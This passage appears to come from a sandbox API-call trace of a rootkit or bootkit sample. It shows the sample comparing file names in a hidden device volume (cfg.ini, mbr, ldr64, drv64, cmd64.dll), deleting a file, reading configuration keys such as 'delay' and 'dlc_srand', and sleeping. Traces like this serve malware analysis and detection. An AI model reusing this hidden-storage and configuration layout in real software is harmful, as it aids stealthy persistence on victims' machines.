_Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.462] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.463] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.463] KeLeaveCriticalRegion () [0129.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.463] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.463] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.463] KeEnterCriticalRegion () [0129.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.463] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.463] IdePortDispatch () returned 0x103 [0129.463] KeWaitForMutexObject () returned 0x0 [0129.463] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.463] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.463] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.463] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.463] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.463] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.463] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.463] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.463] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.463] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.463] KeLeaveCriticalRegion () [0129.464] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.464] ReleaseMutex (hMutex=0x100) returned 1 [0129.464] Sleep (dwMilliseconds=0x2bf20) [0129.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x705ccaf0, dwHighDateTime=0x1d24fa4)) [0129.470] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.470] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.470] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.470] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.471] KeEnterCriticalRegion () [0129.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.471] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.471] IdePortDispatch () returned 0x103 [0129.471] KeWaitForMutexObject () returned 0x0 [0129.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.471] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.471] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.471] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.471] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.471] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.471] KeLeaveCriticalRegion () [0129.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.471] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.471] KeEnterCriticalRegion () [0129.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.471] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.471] KeLeaveCriticalRegion () [0129.471] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.471] KeEnterCriticalRegion () [0129.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.471] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.471] IdePortDispatch () returned 0x103 [0129.472] KeWaitForMutexObject () returned 0x0 [0129.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.472] KeLeaveCriticalRegion () [0129.472] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.472] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.472] KeEnterCriticalRegion () [0129.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfa000 [0129.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.472] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.472] IdePortDispatch () returned 0x103 [0129.472] KeWaitForMutexObject () returned 0x0 [0129.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.472] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.472] IdePortDispatch () returned 0x103 [0129.472] KeWaitForMutexObject () returned 0x0 [0129.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.473] KeLeaveCriticalRegion () [0129.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.473] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.473] KeEnterCriticalRegion () [0129.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.473] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.473] KeLeaveCriticalRegion () [0129.473] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.473] KeEnterCriticalRegion () [0129.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.473] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.473] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.473] KeLeaveCriticalRegion () [0129.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.473] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.473] KeEnterCriticalRegion () [0129.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.474] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.474] KeLeaveCriticalRegion () [0129.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.474] ReleaseMutex (hMutex=0xf0) returned 1 [0129.474] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.474] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.474] KeEnterCriticalRegion () [0129.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.474] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.474] IdePortDispatch () returned 0x103 [0129.474] KeWaitForMutexObject () returned 0x0 [0129.474] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.474] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.474] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.474] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.474] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.474] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c057c0 [0129.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.474] KeLeaveCriticalRegion () [0129.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.474] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.474] KeEnterCriticalRegion () [0129.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.474] KeLeaveCriticalRegion () [0129.475] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.475] KeEnterCriticalRegion () [0129.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.475] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.475] IdePortDispatch () returned 0x103 [0129.476] KeWaitForMutexObject () returned 0x0 [0129.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.476] KeLeaveCriticalRegion () [0129.476] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.476] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.476] KeEnterCriticalRegion () [0129.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.476] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfb000 [0129.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.476] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.476] IdePortDispatch () returned 0x103 [0129.476] KeWaitForMutexObject () returned 0x0 [0129.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.476] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.476] IdePortDispatch () returned 0x103 [0129.476] KeWaitForMutexObject () returned 0x0 [0129.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.477] KeLeaveCriticalRegion () [0129.477] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.477] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.477] KeEnterCriticalRegion () [0129.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.477] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.477] KeLeaveCriticalRegion () [0129.477] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.477] KeEnterCriticalRegion () [0129.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.477] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.477] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05880, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.477] KeLeaveCriticalRegion () [0129.477] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.477] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.477] KeEnterCriticalRegion () [0129.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.477] ExFreePoolWithTag (P=0xfffffa8003c057c0, Tag=0x0) [0129.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.478] KeLeaveCriticalRegion () [0129.478] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.478] ReleaseMutex (hMutex=0xf0) returned 1 [0129.478] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.478] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.478] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.478] KeEnterCriticalRegion () [0129.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.478] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.478] IdePortDispatch () returned 0x103 [0129.478] KeWaitForMutexObject () returned 0x0 [0129.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.478] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.478] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.478] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.478] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.478] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.478] KeLeaveCriticalRegion () [0129.478] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.478] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.478] KeEnterCriticalRegion () [0129.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.478] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.478] KeLeaveCriticalRegion () [0129.478] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.479] KeEnterCriticalRegion () [0129.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.479] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.479] IdePortDispatch () returned 0x103 [0129.479] KeWaitForMutexObject () returned 0x0 [0129.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.479] KeLeaveCriticalRegion () [0129.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.479] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.479] KeEnterCriticalRegion () [0129.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.479] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfc000 [0129.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.479] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.479] IdePortDispatch () returned 0x103 [0129.479] KeWaitForMutexObject () returned 0x0 [0129.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.480] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.480] IdePortDispatch () returned 0x103 [0129.480] KeWaitForMutexObject () returned 0x0 [0129.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.480] KeLeaveCriticalRegion () [0129.480] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.480] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.480] KeEnterCriticalRegion () [0129.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.480] KeLeaveCriticalRegion () [0129.480] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.480] KeEnterCriticalRegion () [0129.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.481] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 